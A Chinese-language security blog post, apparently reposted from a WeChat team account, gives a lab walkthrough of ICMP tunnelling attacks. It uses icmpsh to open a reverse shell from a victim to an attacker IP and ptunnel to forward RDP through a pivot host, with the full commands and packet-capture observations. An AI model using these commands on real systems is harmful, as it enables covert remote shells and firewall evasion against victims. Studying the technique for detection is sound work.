ICMP隧道攻击

admin 2022年4月28日09:12:53评论145 views字数 1432阅读4分46秒阅读模式

ICMP隧道攻击

ICMP隧道模式简介

ICMP一般用于检测网络的可通性, 所以一般在防火墙设备上都不会用策略去禁止它(ping),这也就使得了有很大的可能性去使用ICMP隧道进行相应的攻击,达到一种伪装. 而能达到这种攻击的原因是在CMP报文结构中,有数据部分是可控的,所以可以利用可控数据部分去构造相应的攻击语句.

1.icmpsh使用

下载地址:GitHub - k1132/icmpsh: Simple reverse ICMP shell[1]

py使用前需安装Impacket依赖库

git clone https://github.com/SecureAuthCorp/impacket.gitcd impacketsudo python setup.py  instal
ICMP隧道攻击

开启前需要先关闭攻击机的icmp应答,防止内核对自己的ping包响应

sysctl -w net.ipv4.icmp_echo_ignore_all

不关闭就会导致不稳定

①将exe执行文件上传到受害机 ,并执行

执行代码如下:

icmpsh.exe -t 攻击机IP地址
ICMP隧道攻击

②攻击机进行监听

python2 icmpsh_m.py 攻击者IP 受害者IP
ICMP隧道攻击

③抓包分析

 通过抓取该网卡可以观察到都是ICMP报文的数据包

ICMP隧道攻击

在反弹的shell执行whoami并在数据包中查看数据信息

ICMP隧道攻击
ICMP隧道攻击

最后, 通过报文分析可以知道ICMP隧道是将执行的代码封装在了ICMP报文中的数据中

2.ptunnel 使用

下载地址:https://github.com/f1vefour/ptunnel 需自行编译

ptunnel参数含义:-p ##表示连接 icmp 隧道另一端的机器 IP(即目标服务器) -lp ##表示需要监听的本地 tcp 端口 -da ##指定需要转发的机器的 IP(即目标内网某一机器的内网 IP) -dp ##指定需要转发的机器的端口(即目标内网某一机器的内网端口) -x ##设置连接的密码

进入解压后文件输入如下即可:

make install
ICMP隧道攻击

开启前需要先关闭攻击机的icmp应答,防止内核对自己的ping包响应

sysctl -w net.ipv4.icmp_echo_ignore_all=1

环境模拟:

ICMP隧道攻击

①将编译好的ptunnel上传到跳板机

ICMP隧道攻击

并赋予可执行权限

②设置连接密码

./ptunnel -x mrfan
ICMP隧道攻击

③攻击机将转发的 3389请求数据给本地 6666

./ptunnel -p 192.168.1.14 -lp 6666 -da 192.168.22.14 -dp 3389 -x mrfan
-p ##表示连接 icmp 隧道另一端的机器 IP(即目标服务器) -lp ##表示需要监听的本地 tcp 端口 -da ##指定需要转发的机器的 IP(即目标内网某一机器的内网 IP) -dp ##指定需要转发的机器的端口(即目标内网某一机器的内网端口) -x ##连接的密码
ICMP隧道攻击


③利用连接好的跳板机去连接受害机

rdesktop 127.0.0.1:6666
ICMP隧道攻击

④抓包分析

通过在192.168.1.0/24网卡上进行抓包

ICMP隧道攻击

可以抓到许多ICMP的数据包, 并是由192.168.1.11(攻击机)与192.168.1.14(跳板机)的请求应答包, 所以这也是通过ICMP的数据部分进行了相应的伪装所造成的攻击

References

[1] GitHub - k1132/icmpsh: Simple reverse ICMP shell: https://github.com/k1132/icmpsh


原文始发于微信公众号(广软NSDA安全团队):ICMP隧道攻击

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月28日09:12:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ICMP隧道攻击https://cn-sec.com/archives/953445.html

发表评论

匿名网友 填写信息